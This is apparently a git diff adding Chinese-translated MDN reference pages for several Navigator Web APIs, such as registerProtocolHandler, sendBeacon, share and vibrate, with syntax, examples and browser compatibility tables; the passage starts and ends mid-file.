FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("36.0")}}{{CompatGeckoMobile("36.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

参考阅读

+ + diff --git a/files/zh-cn/web/api/navigator/mozislocallyavailable/index.html b/files/zh-cn/web/api/navigator/mozislocallyavailable/index.html new file mode 100644 index 0000000000..19bccd5ef2 --- /dev/null +++ b/files/zh-cn/web/api/navigator/mozislocallyavailable/index.html @@ -0,0 +1,42 @@ +--- +title: Navigator.mozIsLocallyAvailable() +slug: Web/API/Navigator/mozIsLocallyAvailable +translation_of: Web/API/Navigator/mozIsLocallyAvailable +--- +

{{APIRef("HTML DOM")}}{{Non-standard_header}}

+ +

概述

+ +

查询某个URI上的资源是否是本地可用的.

+ +

语法

+ +
window.navigator.mozIsLocallyAvailable(uri, ifOffline);
+
+ + + +

例子

+ +
var available = navigator.mozIsLocallyAvailable("http:www.example.com/my-image-file.png", true);
+if (available) {
+  /* 该离线资源可用 */
+} else {
+  alert("离线资源不可用,必须联网.");
+}
+
+ +

备注

+ +

{{ Note("查询的URI和当前页面的URI不同域的话,会抛出安全异常.") }}

+ +

规范

+ +

无规范; 这里有一些可用信息: 将资源标记为离线可用.

+ +

 

+ +

{{ languages( { "fr": "fr/DOM/window.navigator.isLocallyAvailable", "en": "en/DOM/window.navigator.isLocallyAvailable", "ja": "ja/DOM/window.navigator.mozIsLocallyAvailable" } ) }}

diff --git a/files/zh-cn/web/api/navigator/mozsettings/index.html b/files/zh-cn/web/api/navigator/mozsettings/index.html new file mode 100644 index 0000000000..bd96466118 --- /dev/null +++ b/files/zh-cn/web/api/navigator/mozsettings/index.html @@ -0,0 +1,32 @@ +--- +title: Navigator.mozSettings +slug: Web/API/Navigator/mozSettings +translation_of: Archive/B2G_OS/API/Navigator/mozSettings +--- +

{{APIRef("Firefox OS")}}{{ non-standard_header() }}

+ +

{{ B2GOnlyHeader2('certified') }}

+ +

概述

+ +

返回一个{{ domxref("SettingsManager") }}对象,你可以使用返回的对象来修改设备的各项设置.

+ +

语法

+ +
var settings = window.navigator.mozSettings;
+
+ +

+ +

navigator.mozSettings是一个{{domxref("SettingsManager")}}对象,你可以使用该对象来修改设备的各项设置.

+ +

规范

+ +

目前还不属于任何的规范,不过这个API将作为System Applications Working Group规范的一部分在W3C上讨论.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/navigator/mozsms/index.html b/files/zh-cn/web/api/navigator/mozsms/index.html new file mode 100644 index 0000000000..c6c9aff864 --- /dev/null +++ b/files/zh-cn/web/api/navigator/mozsms/index.html @@ -0,0 +1,112 @@ +--- +title: Navigator.mozSms +slug: Web/API/Navigator/mozSms +translation_of: Archive/B2G_OS/API/Navigator/mozSms +--- +

{{APIRef("Firefox OS")}}

+ +

{{ non-standard_header() }}

+ +

{{ obsolete_header(25) }}

+ +

{{ B2GOnlyHeader2('certified') }}

+ +

返回 {{ domxref("SmsManager") }} 对象,你可以通过该对象进行短消息的收发操作。

+ +
+

注意: 废弃! 该对象已被废弃,请参考使用: {{ domxref("window.navigator.mozMobileMessage") }}。

+
+ +

语法

+ +
var sms = window.navigator.mozSms;
+
+ +

参数说明

+ +

这是一个非标准接口,不过该接口有在 W3C 部分提及: System Application Working Group.

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Messaging')}}{{Spec2('Messaging')}}Editor Draft (WIP).
+ +

浏览器兼容

+ +

For obvious reasons, support is primarily expected on mobile browsers.

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatGeckoMobile("12.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

Preferences & availability

+ + + +

参阅

+ + diff --git a/files/zh-cn/web/api/navigator/oscpu/index.html b/files/zh-cn/web/api/navigator/oscpu/index.html new file mode 100644 index 0000000000..95ed7770b0 --- /dev/null +++ b/files/zh-cn/web/api/navigator/oscpu/index.html @@ -0,0 +1,84 @@ +--- +title: Navigator.oscpu +slug: Web/API/Navigator/oscpu +translation_of: Web/API/Navigator/oscpu +--- +

{{ ApiRef("HTML DOM") }}

+ +

概述

+ +

返回一个字符串,代表当前所使用的操作系统类型.

+ +

语法

+ +
oscpuInfo = window.navigator.oscpu
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
操作系统oscpuInfo 字符串值
OS/2OS/2 Warp x (3, 4 或 4.5)
Windows CEWindowsCE x.y1
Windows 64-bit (64-bit build)Windows NT x.y; Win64; x64
Windows 64-bit (32-bit build)Windows NT x.y; WOW64
Windows 32-bitWindows NT x.y
Mac OS X (PPC build)PPC Mac OS X x.y
Mac OS X (i386/x64 build)Intel Mac OS X x.y
Linux 64-bit (32-bit build)命令'uname -s'的输出加上 "i686 on x86_64"
Linux命令'uname -sm'的输出
+ +

1x.y 表示操作系统的版本号

+ +

例子

+ +
function osInfo() {
+  alert(window.navigator.oscpu);
+}
+// 可能返回:"Windows NT 6.1",表示windows 7
+
+ +

备注

+ +

在普通网页中,如果about:config中存在general.oscpu.override项,则该属性的值会返回about:config中general.oscpu.override项的值. 在特权代码中 (chrome上下文或者拥有"UniversalBrowserRead"特权的网页中),返回的还是真实的操作系统类型.(译者注:语句:netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead ")用来激活所在网页的UniversalBrowserRead特权.)

+ +

规范

+ +

{{ DOM0() }}

+ +

{{ languages( { "ja": "ja/DOM/window.navigator.oscpu", "en": "en/DOM/window.navigator.oscpu", "pl": "pl/DOM/window.navigator.oscpu" } ) }}

diff --git a/files/zh-cn/web/api/navigator/permissions/index.html b/files/zh-cn/web/api/navigator/permissions/index.html new file mode 100644 index 0000000000..bd4510a159 --- /dev/null +++ b/files/zh-cn/web/api/navigator/permissions/index.html @@ -0,0 +1,115 @@ +--- +title: Navigator.permissions +slug: Web/API/Navigator/permissions +tags: + - API + - Permissions + - 属性 +translation_of: Web/API/Navigator/permissions +--- +

{{APIRef("HTML DOM")}}{{SeeCompatTable}}

+ +

permissions 是 Navigator 读属性,返回一个可用于查询或更新某些APIs(由Permissions API覆盖)的权限状态的对象。

+ +

语法

+ +
permissionsObj = globalObj.navigator.permissions
+
+ +

+ +

一个 {{domxref("Permissions")}} 对象。

+ +

例子

+ +
navigator.permissions.query({name:'geolocation'}).then(function(result) {
+  if (result.state === 'granted') {
+    showMap();
+  } else if (result.state === 'prompt') {
+    showButtonToEnableMap();
+  }
+  // 如果被拒绝,请不要做任何操作。
+});
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Permissions API')}}{{Spec2('Permissions API')}}初始化定义
+ +

浏览器支持

+ +
{{ CompatibilityTable() }}
+ +
+ + + + + + + + + + + + + + + + + + + +
功能ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基础支持{{CompatChrome(43.0)}}{{CompatGeckoDesktop(46)}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
功能AndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari MobileChrome for Android
基础支持{{CompatNo()}}{{CompatChrome(43.0)}}{{CompatGeckoMobile(46)}}{{CompatUnknown()}}[1]{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatChrome(43.0)}}
+
+ +

[1] Firefox OS 现在采用自己的具有特殊工作方式的 Permissions API:参见  Permissions API (Firefox OS).

+ +

参见

+ + diff --git a/files/zh-cn/web/api/navigator/productsub/index.html b/files/zh-cn/web/api/navigator/productsub/index.html new file mode 100644 index 0000000000..afe4655ebc --- /dev/null +++ b/files/zh-cn/web/api/navigator/productsub/index.html @@ -0,0 +1,64 @@ +--- +title: Navigator.productSub +slug: Web/API/Navigator/productSub +tags: + - API + - DOM + - 只读 + - 属性 +translation_of: Web/API/Navigator/productSub +--- +
{{ ApiRef("HTML DOM") }}
+ +

Navigator.productSub 只读属性返回当前浏览器的编译版本号。 

+ +

语法

+ +
prodSub = window.navigator.productSub
+ + + +

例子

+ +
<script>
+function prodsub() {
+  var dt = document.getElementById("d").childNodes[0];
+  dt.data = window.navigator.productSub;
+}
+</script>
+
+<button onclick="prodsub();">productSub</button>
+// returns: 20010725
+ +

注释

+ +

在IE上,这个属性返回undefined。

+ +

在苹果Safari上和Google的Ghrome上这个属性总是返回20030107。

+ +

说明

+ + + + + + + + + + + + + + + + +
说明状态注释
{{SpecName('HTML WHATWG', '#dom-navigator-productsub', 'NavigatorID: productSub')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Navigator.productSub")}}

diff --git a/files/zh-cn/web/api/navigator/registercontenthandler/index.html b/files/zh-cn/web/api/navigator/registercontenthandler/index.html new file mode 100644 index 0000000000..4a858777d6 --- /dev/null +++ b/files/zh-cn/web/api/navigator/registercontenthandler/index.html @@ -0,0 +1,47 @@ +--- +title: Navigator.registerContentHandler() +slug: Web/API/Navigator/registerContentHandler +translation_of: Web/API/Navigator/registerContentHandler +--- +
{{ ApiRef("HTML DOM") }}
+ +

概述

+ +

Allows web sites to register themselves as possible handlers for content of a particular MIME type.

+ +

{{ Note("Web sites may only register content handlers for themselves. For security reasons, it\'s not possible for an extension or web site to register content handlers targeting other sites.") }}

+ +

语法

+ +
window.navigator.registerContentHandler(mimeType, uri, title);
+
+ + + +

例子

+ +
navigator.registerContentHandler("application/vnd.mozilla.maybe.feed",
+                                 "http://www.example.tld/?foo=%s",
+                                 "My Feed Reader");
+
+ +

备注

+ +

For Firefox 2 and above, only the application/vnd.mozilla.maybe.feed, application/atom+xml, and application/rss+xml MIME types are supported. All values have the same effect, and the registered handler will receive feeds in all Atom and RSS versions  (see {{ Bug("391286") }}).

+ +

规范

+ +

WHATWG's Web Applications 1.0 工作草案

+ +

相关链接

+ + + +

{{ languages( { "ja": "ja/DOM/window.navigator.registerContentHandler", "en": "en/DOM/window.navigator.registerContentHandler", "pl": "pl/DOM/window.navigator.registerContentHandler" } ) }}

diff --git a/files/zh-cn/web/api/navigator/registerprotocolhandler/index.html b/files/zh-cn/web/api/navigator/registerprotocolhandler/index.html new file mode 100644 index 0000000000..b51348f2ef --- /dev/null +++ b/files/zh-cn/web/api/navigator/registerprotocolhandler/index.html @@ -0,0 +1,151 @@ +--- +title: Navigator.registerProtocolHandler() +slug: Web/API/Navigator/registerProtocolHandler +tags: + - API + - Navigator + - URL protocols + - URL schemes + - registerProtocolHandler + - 自定义 URL 协议 + - 自定义 URL 方案 +translation_of: Web/API/Navigator/registerProtocolHandler +--- +
{{APIRef("HTML DOM")}}{{securecontext_header}}
+ +

{{domxref("Navigator")}} 的方法 registerProtocolHandler() 让 web 站点为自身注册用于打开或处理特定 URL 方案(又名协议)的能力。

+ +

举个例子,此API允许Web邮件站点打开 mailto: URL,或让  VoIP  站点打开 tel: URL。

+ +

语法

+ +
navigator.registerProtocolHandler(scheme, url, title);
+
+ +
+

Note: 最近更新为 navigator.registerProtocolHandler(schemeurl), 但目前没有浏览器支持该版本。

+
+ +

参数

+ +
+
scheme
+
一个包含站点希望处理的协议的字符串。例如,你可以通过传入 "sms" 来注册处理SMS文本信息链接。
+
+ +
+
url
+
处理器的URL,string类型。这个字符串应该包含一个"%s"的占位符,其会被将要受理的文档的 escaped 链接所替换。这个链接(译者按:指将要受理的文档的 escaped 链接,也就是替换占位符的字符串)可能是一个真实的URL,或者是一个电话号码,邮件地址之类的。
+
+
这个处理器的 URL 必须以 http 或者 https 协议标记作为开头,最好是 https ,以满足一些浏览器出于安全考虑的要求。
+
+
title {{Obsolete_Inline}}
+
一个用户可理解的处理器标题。标题会展示给用户,例如弹出对话框“允许这个站点处理[scheme]链接吗?”或者在浏览器设置中列出注册的处理器时。
+
+
+

Note: 出于欺骗的考虑,标题已从规范中删除,但当前所有的浏览器仍要求使用该标题。 建议始终设置标题,因为支持更新规范的浏览器很可能会向后兼容,并且仍接受标题(但不使用它)。

+
+
+
+
+ +

异常

+ + + +
+
SecurityError
+
用户代理阻止了处理器的注册。这可能是由于:
+
SyntaxError
+
在指定的协议处理地址的字符串中缺失了 %s 占位符.
+
+ +

允许的协议标记

+ +

出于安全考虑,registerProtocolHandler() 严格限制了允许注册的协议标记。以 web+ 作为前缀的方式可以注册一个自定义的标记协议,至少要有5个字符的长度(包括 web+ 前缀),而且只能使用小写的ASCII字母作为名称。例如 web+burger ,如下面的{{anch("示例")}}所示。

+ +

除此之外,还可以使用下文所列的白名单中的协议标记:

+ +
+ +
+ +

示例

+ +

如果您的网站是 https://www.google.com/,则可以为其注册一个协议处理程序来处理 web+burger:链接,如下所示:

+ +
navigator.registerProtocolHandler("web+burger",
+                                  "https://www.google.com/?uri=%s",
+                                  "Burger handler");
+
+ +

这将创建一个处理程序,该处理程序允许使用 web+burger: 链接将用户发送到您的网站,并将访问的 Burger URL插入%s占位符。

+ +

该脚本必须从与处理程序URL相同的源运行(因此, https://www.google.com/ 上的任何页面),并且处理程序URL必须为 http https

+ +

将通知用户您的代码要求注册协议处理程序,以便他们可以决定是否允许它。有关 https://www.google.com/ 上的示例,请参见以下屏幕截图:

+ +

+ +
+

"Register a webmail service as mailto handler" 展示了如何从跨平台组件对象模块(XPCOM)中做到这一切.

+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'webappapis.html#dom-navigator-registerprotocolhandler', 'registerProtocolHandler()')}}{{Spec2('HTML WHATWG')}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Navigator.registerProtocolHandler")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html b/files/zh-cn/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html new file mode 100644 index 0000000000..34085a54f2 --- /dev/null +++ b/files/zh-cn/web/api/navigator/registerprotocolhandler/web-based_protocol_handlers/index.html @@ -0,0 +1,133 @@ +--- +title: Web-based protocol handlers +slug: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers +translation_of: Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers +--- +
{{Fx_minversion_header(3)}}
+ +

背景

+ +

利用非http协议,从网页链接到一些别的资源,这种做法是相当普遍的。比如 mailto: 协议:

+ +
+
<a href="mailto:webmaster@example.com">Web Master</a>
+
+ +

当Web页面作者想直接从网页上,为用户提供一个方便的方式发送一个电子邮件,时可以使用mailto:链接。激活链接时,浏览器应该启动默认的桌面应用程序来处理电子邮件。你可以认为这是一个基于桌面的协议处理器。

+ +

基于网络的协议处理程序也允许基于web的应用程序参与这一过程。随着越来越多的类型的应用程序迁移到web,这变得越来越重要。事实上,有许多基于web的电子邮件处理的应用程序可以处理一个mailto链接。

+ +

注册

+ +

设置一个web应用程序作为一个协议处理器不是一个很麻烦的过程。web应用程序可以使用registerProtocolHandler()注册到浏览器上,从而对于一个给定的协议来讲,作为一个潜在的处理程序。例如:

+ +
navigator.registerProtocolHandler("mailto",
+                                  "https://www.example.com/?uri=%s",
+                                  "Example Mail");
+
+ +

参数为:

+ + + +

当一个浏览器执行这段代码时,它应该向用户显示一个请求,让用户许可为处理这个协议而注册一个web应用程序的请求。Firefox在通知栏区域显示一个提示:

+ +

Image:wph-notification.png

+ +
Note:试图执行登记或注册时,当前网页必须与提供的URL模板在相同的域,否则将会失败。例如,http://example.com/homepage.html可以为http://example.com/handle_mailto/%s注册一个协议处理程序, 但http://example.org/handle_mailto/%s不可以.
+ +

 

+ +

多次注册相同的协议处理程序会弹出不同的通知,表明协议处理器已经注册。因此,发起一个注册协议处理程序的请求,之后检查是否注册是一个很好的方法。比如下面的例子。

+ +

例子

+ +
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
+<html lang="en">
+<head>
+  <title>Web Protocol Handler Sample - Register</title>
+  <script type="text/javascript">
+    var url = "http://starkravingfinkle.org/projects/wph/handler.php?value=%s";
+    if (!navigator.isProtocolHandlerRegistered("fake", url)) {
+      navigator.registerProtocolHandler("fake", url, "Fake Protocol");
+    }
+  </script>
+</head>
+<body>
+  <h1>Web Protocol Handler Sample</h1>
+  <p>This web page will install a web protocol handler for the <code>fake:</code> protocol.</p>
+</body>
+</html>
+
+ +

激活

+ +

现在,只要用户点击链接,使用注册协议,浏览器将跳转到web应用程序注册时提供的URL。Firefox在默认情况下,跳转前会提示用户操作。

+ +

Image:wph-launch.png

+ +

Example

+ +
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
+<html lang="en">
+<head>
+  <title>Web Protocol Handler Sample - Test</title>
+</head>
+<body>
+  <p>Hey have you seen <a href="fake:this%20is%20fake">this</a> before?</p>
+</body>
+</html>
+
+ +

处理

+ +

下一步是处理这个动作。浏览器在激活的链接中提取出href属性,之后与注册时提供的URL模板进行拼装,之后经由拼装好的URL发起一个HTTP GET请求.因此下面的例子中,浏览器会基于此URL发起一个GET请求:

+ +
http://starkravingfinkle.org/projects/wph/handler.php?value=fake:this%20is%20fake
+ +

服务端代码可以提取查询字符串的参数,执行所需的操作。

+ +
Note:服务端代码会接收到href的全部内容。这意味着服务端代码必须解析出数据中的协议。
+ +

Example

+ +
<?php
+$value = "";
+if ( isset ( $_GET["value"] ) ) {
+  $value = $_GET["value"];
+}
+?>
+
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">
+<html lang="en">
+<head>
+    <title>Web Protocol Handler Sample</title>
+</head>
+<body>
+  <h1>Web Protocol Handler Sample - Handler</h1>
+  <p>This web page is called when handling a <code>fake:</code> protocol action. The data sent:</p>
+  <textarea>
+<?php echo(htmlspecialchars($value, ENT_QUOTES, 'UTF-8')); ?>
+  </textarea>
+</body>
+</html>
+
+ +

参考

+ + + +

See also

+ + diff --git a/files/zh-cn/web/api/navigator/sendbeacon/index.html b/files/zh-cn/web/api/navigator/sendbeacon/index.html new file mode 100644 index 0000000000..76ebbe89a8 --- /dev/null +++ b/files/zh-cn/web/api/navigator/sendbeacon/index.html @@ -0,0 +1,95 @@ +--- +title: Navigator.sendBeacon() +slug: Web/API/Navigator/sendBeacon +tags: + - API + - Beacon + - Web Performance + - sendBeacon +translation_of: Web/API/Navigator/sendBeacon +--- +
 {{APIRef("HTML DOM")}}
+ +

navigator.sendBeacon() 方法可用于通过{{Glossary("HTTP")}}将少量数据异步传输到Web服务器。

+ +

语法

+ +
navigator.sendBeacon(url, data);
+ +

参数

+ +
+
url
+
url 参数表明 data 将要被发送到的网络地址。
+
+ +
+
data
+
data 参数是将要发送的 {{domxref("ArrayBufferView")}} 或 {{domxref("Blob")}}, {{domxref("DOMString")}} 或者 {{domxref("FormData")}} 类型的数据。
+
+ +

返回值

+ +

当用户代理成功把数据加入传输队列时,sendBeacon() 方法将会返回 true,否则返回 false

+ +

描述

+ +

这个方法主要用于满足统计和诊断代码的需要,这些代码通常尝试在卸载(unload)文档之前向web服务器发送数据。过早的发送数据可能导致错过收集数据的机会。然而,对于开发者来说保证在文档卸载期间发送数据一直是一个困难。因为用户代理通常会忽略在 {{event("unload")}} 事件处理器中产生的异步 {{domxref("XMLHttpRequest")}}。

+ +

为了解决这个问题, 统计和诊断代码通常要在 unload 或者 {{event("beforeunload")}} 事件处理器中发起一个同步 XMLHttpRequest 来发送数据。同步的 XMLHttpRequest 迫使用户代理延迟卸载文档,并使得下一个导航出现的更晚。下一个页面对于这种较差的载入表现无能为力。

+ +

有一些技术被用来保证数据的发送。其中一种是通过在卸载事件处理器中创建一个图片元素并设置它的 src 属性的方法来延迟卸载以保证数据的发送。因为绝大多数用户代理会延迟卸载以保证图片的载入,所以数据可以在卸载事件中发送。另一种技术是通过创建一个几秒钟的 no-op 循环来延迟卸载并向服务器发送数据。

+ +

这些技术不仅编码模式不好,其中的一些甚至并不可靠而且会导致非常差的页面载入性能。

+ +

下面的例子展示了一个理论上的统计代码——在卸载事件处理器中尝试通过一个同步的 XMLHttpRequest 向服务器发送数据。这导致了页面卸载被延迟。

+ +
window.addEventListener('unload', logData, false);
+
+function logData() {
+    var client = new XMLHttpRequest();
+    client.open("POST", "/log", false); // 第三个参数表明是同步的 xhr
+    client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+    client.send(analyticsData);
+}
+
+ +

这就是 sendBeacon() 方法存在的意义。使用 sendBeacon() 方法会使用户代理在有机会时异步地向服务器发送数据,同时不会延迟页面的卸载或影响下一导航的载入性能。这就解决了提交分析数据时的所有的问题:数据可靠,传输异步并且不会影响下一页面的加载。此外,代码实际上还要比其他技术简单许多!

+ +

下面的例子展示了一个理论上的统计代码模式——通过使用 sendBeacon() 方法向服务器发送数据。

+ +
window.addEventListener('unload', logData, false);
+
+function logData() {
+    navigator.sendBeacon("/log", analyticsData);
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Beacon', '#sec-sendBeacon-method', 'sendBeacon()')}}{{Spec2('Beacon')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Navigator.sendBeacon")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/navigator/serviceworker/index.html b/files/zh-cn/web/api/navigator/serviceworker/index.html new file mode 100644 index 0000000000..16cf2ac51d --- /dev/null +++ b/files/zh-cn/web/api/navigator/serviceworker/index.html @@ -0,0 +1,97 @@ +--- +title: Navigator.serviceWorker +slug: Web/API/Navigator/serviceWorker +translation_of: Web/API/Navigator/serviceWorker +--- +

{{APIRef("Service Workers API")}}

+ +

Navigator.serviceWorker 只读属性,返回 关联文件 的 {{domxref("ServiceWorkerContainer")}} 对象,它提供对{{domxref("ServiceWorker")}} 的注册,删除,升级和通信的访问。。

+ +

语法

+ +
let workerContainerInstance = navigator.serviceWorker;
+
+ +

+ +

{{domxref("ServiceWorkerContainer")}}.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#navigator-service-worker', 'navigator.serviceWorker')}}{{Spec2('Service Workers')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("44.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{ CompatGeckoMobile("44.0") }}{{ CompatVersionUnknown }}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 Extended Support Release (ESR.)

+ +

也可以看看

+ + diff --git a/files/zh-cn/web/api/navigator/share/index.html b/files/zh-cn/web/api/navigator/share/index.html new file mode 100644 index 0000000000..3a0f14dba3 --- /dev/null +++ b/files/zh-cn/web/api/navigator/share/index.html @@ -0,0 +1,97 @@ +--- +title: Navigator.share +slug: Web/API/Navigator/share +tags: + - Navitator + - Share + - Web Share +translation_of: Web/API/Navigator/share +--- +
{{APIRef("HTML DOM")}}{{SeeCompatTable}} {{securecontext_header}}
+ +

Navigator.share()方法通过调用本机的共享机制作为Web Share API的一部分。如果不支持Web Share API,则此方法为undefined

+ +

语法

+ +
const sharePromise = window.navigator.share(data);
+
+ +

参数

+ +
+
data
+
包含要共享的数据的对象。必须至少指定以下字段之一。可用选项包括:
+
+ + + +
+
+ +

返回值

+ +

该方法将会返回一个{{jsxref("Promise")}}。一旦用户完成分享,这个promise将会接受 。如果指定的共享数据格式不正确,promise将会立即拒绝;如果用户取消了分享,promise也会拒绝。

+ +

例如, 在Android的Chrome上, 将在用户选择要共享的应用程序后将会解析共享的内容。.

+ +

示例

+ +
navigator.share({
+  title: document.title,
+  text: 'Hello World',
+  url: 'https://developer.mozilla.org',
+}); // 分享MDN的URL
+ +

分享文件

+ +

分享文件之前,先使用navigator.canShare().判断这个文件能否被分享,Then include an array of files in the call to navigator.share():

+ +

Notice: That the sample handles feature detection by testing for navigator.canShare() rather than for navigator.share(). The data object passed to canShare() only supports the files property. Image, video, audio, and text files can be shared.

+ +
if (navigator.canShare && navigator.canShare({ files: filesArray })) {
+  navigator.share({
+    files: filesArray,
+    title: 'Pictures',
+    text: 'Our Pictures.',
+  })
+  .then(() => console.log('Share was successful.'))
+  .catch((error) => console.log('Sharing failed', error));
+} else {
+  console.log(`Your system doesn't support sharing files.`);
+}
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Share API','#share-method','share()')}}{{Spec2('Web Share API')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.Navigator.share")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/navigator/vendor/index.html b/files/zh-cn/web/api/navigator/vendor/index.html new file mode 100644 index 0000000000..3dffcea6f4 --- /dev/null +++ b/files/zh-cn/web/api/navigator/vendor/index.html @@ -0,0 +1,37 @@ +--- +title: Navigator.vendor +slug: Web/API/Navigator/vendor +translation_of: Web/API/Navigator/vendor +--- +

{{ ApiRef() }}

+ +

概述

+ +

返回当前所使用浏览器的浏览器供应商的名称.

+ +

语法

+ +
venString = window.navigator.vendor
+
+ +

参数

+ + + +

例子

+ +
window.navigator.vendor
+// 返回 "Netscape6"
+
+ +

备注

+ +

vendor属性值也是组成userAgent字符串的一部分.product属性值和vendor属性值可以是不同的,比如在firefox中,两者的值表示:Netscape 6.1使用Gecko来渲染网页. 想了解更多,请查看 navigator.product, navigator.userAgent

+ +

规范

+ +

{{ DOM0() }}

+ +

{{ languages( { "ja": "ja/DOM/window.navigator.vendor" ,"en": "en/DOM/window.navigator.vendor" } ) }}

diff --git a/files/zh-cn/web/api/navigator/vendorsub/index.html b/files/zh-cn/web/api/navigator/vendorsub/index.html new file mode 100644 index 0000000000..20e2ecb91e --- /dev/null +++ b/files/zh-cn/web/api/navigator/vendorsub/index.html @@ -0,0 +1,37 @@ +--- +title: Navigator.vendorSub +slug: Web/API/Navigator/vendorSub +translation_of: Web/API/Navigator/vendorSub +--- +

{{ ApiRef() }}

+ +

概述

+ +

vendorSub navigator.vendor的值的一部分,表示浏览器供应商的版本号。

+ +

语法

+ +
venSub = window.navigator.vendorSub
+
+ +

参数

+ + + +

例子

+ +
window.navigator.vendorSub
+// 返回"6.1",该值还作为navigator.userAgent的值的一部分.
+
+ +

备注

+ +

vendorSub的属性值也是一个组成navigator.userAgent字符串的一部分. 表示浏览器供应商给该当前浏览器的版本号 (可能和navigator.productSub属性值不同). 在navigator.vendor等于"Netscape 6.1"时, navigator.productSub为 "5.0",navigator.vendorSub为"6.1".想要了解更多,请查看 navigator.productSub, navigator.userAgent, navigator.vendor

+ +

规范

+ +

{{ DOM0() }}

+ +

{{ languages( {"ja": "ja/DOM/window.navigator.vendorSub","en": "en/DOM/window.navigator.vendorSub" } ) }}

diff --git a/files/zh-cn/web/api/navigator/vibrate/index.html b/files/zh-cn/web/api/navigator/vibrate/index.html new file mode 100644 index 0000000000..30dcc9d839 --- /dev/null +++ b/files/zh-cn/web/api/navigator/vibrate/index.html @@ -0,0 +1,115 @@ +--- +title: Navigator.vibrate() +slug: Web/API/Navigator/vibrate +translation_of: Web/API/Navigator/vibrate +--- +

{{APIRef("HTML DOM")}}

+ +

Navigator.vibrate() 方法使设备(有震动硬件)产生有频率的震动。若设备不支持震动,该方法将无效。若某震动方式已经在进行中(当该方法调用时),则前一个震动方式停止,新的取而代之。

+ +

该方法若因为提供无效的参数使得无法使设备震动,它将返回false,否则返回true。若振动方案导致长时间的震动,它会被截断:最大震动时长取决于每个浏览器的具体实现。

+ +

语法

+ +
var successBool = window.navigator.vibrate(pattern);
+
+ +
+
pattern
+
提供一个震动、暂停间隔的模式。每一个值表示交替震动或者暂停的毫秒数。你可以提供一个单个的值(震动一次的毫秒数)或者一个包含整数的数组来交替的震动、暂停、震动。详情参见 Vibration API
+
+ +

传递一个 0、一个空数组或者一个元素全部为 0 的数组会结束当前正在运行中的震动模式。

+ +

示例

+ +
window.navigator.vibrate(200); // vibrate for 200ms
+window.navigator.vibrate([100,30,100,30,100,200,200,30,200,30,200,200,100,30,100,30,100]); // Vibrate 'SOS' in Morse.
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Vibration API')}}{{Spec2('Vibration API')}}Linked to spec is the latest editor's draft; W3C version is a REC.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatNo}}{{CompatGeckoDesktop("11.0")}} {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16.0")}} (no prefix) [1]
{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
